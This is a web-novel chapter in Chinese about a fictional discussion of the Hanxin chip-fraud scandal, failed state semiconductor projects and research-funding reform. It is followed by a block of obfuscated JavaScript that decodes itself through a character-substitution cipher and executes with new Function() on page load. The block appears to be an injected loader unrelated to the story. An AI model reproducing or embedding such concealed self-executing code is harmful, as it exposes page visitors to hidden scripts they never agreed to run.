“我想着这件事在华国引起了这么大的风波,你甚至在公开场合通过开新闻发布会的方式表达对这件事的重视,过去两年时间已经充分证明了有你的加入,张江才能走上快速发展的道路。
我一直有关注张江的发展,对新芯过去取得的成绩也很了解,新芯已经充分证明了自己的实力,新芯是有能力甚至已经在部分领域取得了世界领先的地位。
通过成为传统科技强势企业们的核心供应商证明了产品的真实性,包括像蓝牙芯片的领先程度我不用看专业杂志,光是看商业杂志都有所了解。在这样的大背景下,你的个人态度对新芯在张江、在申海的投入和未来长远战略至关重要。
我以为在这样的前提下,即便交大想把这件事糊弄过去,申海也不会允许他们把这件事糊弄过去。
在这样的逻辑下,加上身边人和我的解释,我也就相信了汉芯是陈进一个人所为。
没想到他们这么大胆,蛇鼠一窝把这件事给干了,我们已经派了多部门组成的调查组对这件事进行彻查,对于涉及此事的专家们一定会根据他们的参与程度和性质恶劣程度给予严厉处分。”
大佬显得很痛心,从千禧年初的时候双方见过一面之后,周新每次回燕京都会来聊一会,聊的内容也大多围绕最近在华国做了什么,最近集成电路上的技术进展和行业趋势等等。
从过去的聊天中,周新发现对方的学习能力确实足够强,对于他提到过的新技术后面会专门找资料来看,再下一次见面的时候能说出个所以然以及自己对其未来发展趋势的看法。
对方接着说:“还是我们第一次见面时候谈到过的问题,下面的信息在传递上来的时候失真严重。
以我对绳武的了解,他不是会为陈进又或者是交大某位专家掩饰的人,更不可能为汉芯研发团队里的学生掩盖,他也只能具体执行的人说什么,他就认为是什么。
仅仅从汉芯的一线参与人员到绳武那里就会出现严重的信息失真,等传到燕京来之后,这中间的失真现象就更加严重了。”
周新听完后完全能理解这种上面和下面存在信息传递失真的情况,中间存在的层级越多,失真的程度就越高。
“我能理解,这也是为什么道德经里说‘治大国如烹小鲜’,我手下也管着几家企业。
我在管理过程中,也会有难以发现企业真实存在问题的情况。像新兴投资,有没有钱是以投资给企业的名义被管理层吞掉了?
我和吴世强认识有好几年时间,吴世强是新兴投资在华国的负责人,我们之间存在着信任基础,但是对于新兴投资在国内其他的投资经理也好,副总也好,我都不太认识,他们会不会做出这种事情来?
又或者他们做出这种事情来吴世强会不会帮他们掩饰?把事情控制在只有新兴投资华国分公司了解的程度?我想大概是会的。
这并不是一定代表吴世强有问题,而是他不希望类似的事情被我知道,像高管和投研部门的项目经理配合对一些明显不符合新兴投资投资原则的企业投资,事后这些企业再给他们返利,通过这种方式侵吞新兴投资的资产。
吴世强也许知道也许不知道,但是他一定不希望让我知道,我知道之后一是会怀疑他管理不力,二是会影响到他的自主权,类似的事情发生后,我一定会希望更加了解新兴华国分部的运作,要么是加大审计力度,要么是空降高管去和他分权。
即便是新兴投资华国分公司这样一家一百来号人的企业,我尚且无法知道真实情况,更别提您是否能真的了解远在申海的汉芯事件了。
每年管理的资本20亿rmb,然后年景好的时候,有比较多的参与项目成功上市上市的年份利润率在百分之三十,他们觉得吞掉一些利润让利润率变成百分之二十,问题也不大,本来我们也有功劳,现在的待遇和我为企业做的贡献不匹配,我得靠规则外的手段吃掉一些原本就属于我的利益。
但是其实他们想不到,之所以能有这么高的利润是因为踩对了大势,踩到了华国经济飞速发展的大势,把大势认为是自己的能力。
当然我只是举例,不代表新兴投资的华国分公司真的有问题。未来发生类似的事件,他们可能也认为自己没问题,因为账面上的总账显示新兴投资是在高速增长的。
对于您来说,最多也只是停留在内部报道上几行短短的字把这件事按照他们希望表达的方式概括给您看。
现在陈进在媒体上也爆料了,也陆续有人站出来透露汉芯的细节,我们现在可以说已经掌握了相对完整的事情全貌。
现在回过头去看汉芯事件,如果我们发现汉芯造假,没有开新闻发布会揭露汉芯造假这件事,那么在汉芯一号鉴定委员会里专家们的支持下,加上陈进手里有他们的黑料,交大部分领导有可能能够从中牟利。
三方合谋之下国家也好,交大也好,一定会给汉芯的研发团队投入更多的经费以及更大力度的扶持,在这样的支持下,未必汉芯的研发团队在未来就不能研发出多媒体芯片。
但是一定会有一个问题,那就是形成路径依赖,汉芯的这帮人已经习惯了造假为他们带来的好处,他们一定会希望继续通过学术造假获得更多的好处。实际研发出来的多媒体芯片和他们对外宣称的多媒体芯片大概率会是两回事。
这是人性,人性是无法避免的。我不发现汉芯造假,未来也会有知道内情的人因为利益分配不均出来爆料,又或者是因为良心过意不去出来爆料,当然也有可能被摩托罗拉发现,因为陈进本来的技术来源就是摩托罗拉。
汉芯拖的越久,对华国的科研环境、集成电路的产学研转化环境会造成越恶劣的影响。
如此拙劣的造假都能让参与其中的人员们获得大量利益,最后可能只有陈进一个人需要承担相应责任,这种案例的示范效应是非常可怕的。”
周新没有说的比现实还要更保守,现实是最后陈进都没有承担法律上的责任,只是学术上的头衔被剥夺了,连科研经费都没有追索。简直像是要把汉芯打造成学术腐败的典型案例一样,鼓励大家这样做没事。
周新继续说:“如果只是针对汉芯单一事件,我大可不用亲自出面,又是开新闻发布会,又是找摩托罗拉出来出测试报告。
我不希望类似的事件对整个大环境产生恶劣影响,不希望好不容易有起色,已经走在正轨上的华国集成电路产业受到影响。
从现在去看汉芯,陈进的造假是非常拙劣的,他们的手段是非常粗暴,甚至可以用简陋来形容,没有做多少的保密措施。
结果就是这么简陋的手段,这么随意的造假行为,能够骗过从交大到申海科委,再到华国科学院专家们。”
周新说完后,两人陷入了难言的沉默。
大佬在回忆往事:“前几天不是在狮城吗?狮城的集成电路产业和华国的集成电路产业有过一段时间很像。
那是在上世纪九十年代,大概是90年的时候,那时候国内一些领导指出我们在集成电路领域存在比较严重的落后现象,我让一些部委联合去调查,最终决定启动908工程,也就是华晶。
当时打算从朗讯引进技术,建造月产能在1.2万片的晶圆厂,结果就是花了3年调研,又花了3年建厂,从90年决定做这件事到98年投产,华晶一共花了八年。
狮城的特许半导体,同样是90年开始介入到半导体生产中,他们93年就投产了,等到华晶投产的时候,特许半导体旗下的晶圆厂连投资都已经收回了。
这其中存在多少问题,我不知道也没有能力知道,下面把原因全部归结为研判花了太多时间,实际上是不是因为这个原因?我不知道。”
后来再回头看的时候会觉得90年代到千禧年的第一个十年这二十年的时间里华国发展多么多么迅速,充斥着大量的机会。
但是其实在这二十年里,腐*败是最为显著的问题,只是因为当时人们在从0到1甚至到10的过程,大家也就不会对有人从0到100、到1000太过在意。毕竟当时没有自媒体告诉大家100、1000又或者更多的日子是什么样的。
“后来909工程的华虹也没有获得预期中的效果,导致我们后来想要发展芯片产业的时候不知道要从什么地方入手。
一直到新芯在张江落地,信息产业部里负责集成电路行业研究的同志们去调研过新芯很多次,每次去都有新的感受,原来还能这么做。
越是研究越是认为我们之前的发展路径没有尊重市场规律,仍然是基于计划经济的思维,我把晶圆厂建好了自然会有市场,自然会有消费群体来为我们生产的芯片买单。
如果以这个角度出发,接连经过908和909工程的失败,再加上汉芯事件的爆发,可能未来会没有地方政府,没有企业想投资、敢投资集成电路行业。
我们本就孱弱的集成电路行业会迎来致命性打击。”
大佬的猜测和原本的发展轨迹大差不差,唯一的区别在于未来被赶着上架,不得不发展集成电路产业。甚至地方政府们举债都要在当地发展芯片产业。
至于其中具体情况就不好过多阐述,不过可以以一些例子管中窥豹:
淮阴地方财政注资22亿元成立的德淮半导体坚持了一年,就开始拖欠供应商货款、不乏员工工资,17年到19年三年时间里,德淮半导体这个项目实际投了46亿,成本比实际的成本大致高了一倍。
像EPC总包,同样规格的工程报价一般不会超过10亿元,德淮的EPC总包中标价是20亿。
在国产半导体狂飙的那几年里,类似的事件还有很多。
周新说:“我们先谈汉芯,再谈集成电路产业。
汉芯的话,我认为是需要有一个机制来阻止类似事件发生,比如说国家层面只投资基础研究,对于应用型的研究,让企业来介入。
当然这样分过于粗暴,可以更加精细化,有市场价值的项目,让企业负责投资,学校、有关机构只负责牵线搭桥,不具体投资。
没有市场价值的项目,首先判断是否有学术价值,其次判断申请资金的团队是否有能力完成,再分批给科研经费。
事后成果汇报的时候加强监督,我只是提一个大致的想法。
具体落实的时候这个度太难把握了。”
后来各种基金的做法就差不多,老板负责申请经费,小老板和科研狗们负责结果产出。擅长搞定领导的学者才能从一众学者中脱颖而出,某种意义上这也是逆向淘汰。
周新提出的想法区别在于,更多的让企业介入,尽量让市场这只无形的手来决定一部分科研项目的生死。
大佬说:“你的想法是在科研领域也引入风险投资的管理模式,让民间资本来参与其中,因为他们存在成果转化的目的,所以会对成果把控更加审慎。
我会让下面的人去研究具体落地方案,在制定方案的过程中会让他们充分参考你的建议。
不能为是人治,不敢为是法治,为不了是我们想要追求的目标,确实如同你说的,我们需要考虑未来避免学术造假现象的出现。
让老老实实做人,踏踏实实做事的科研工作者获得应有的荣誉和待遇,让弄虚作假者受到应有的惩罚。
但是这确实也不容易,因为相关制度的不完善,监管和处罚手段的不到位,导致对科研结果的鉴定出现了大问题。
汉芯只是这些潜在问题的集中爆发。”
这周几乎每天都在加班,晚上下班回去丝毫不想码字
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();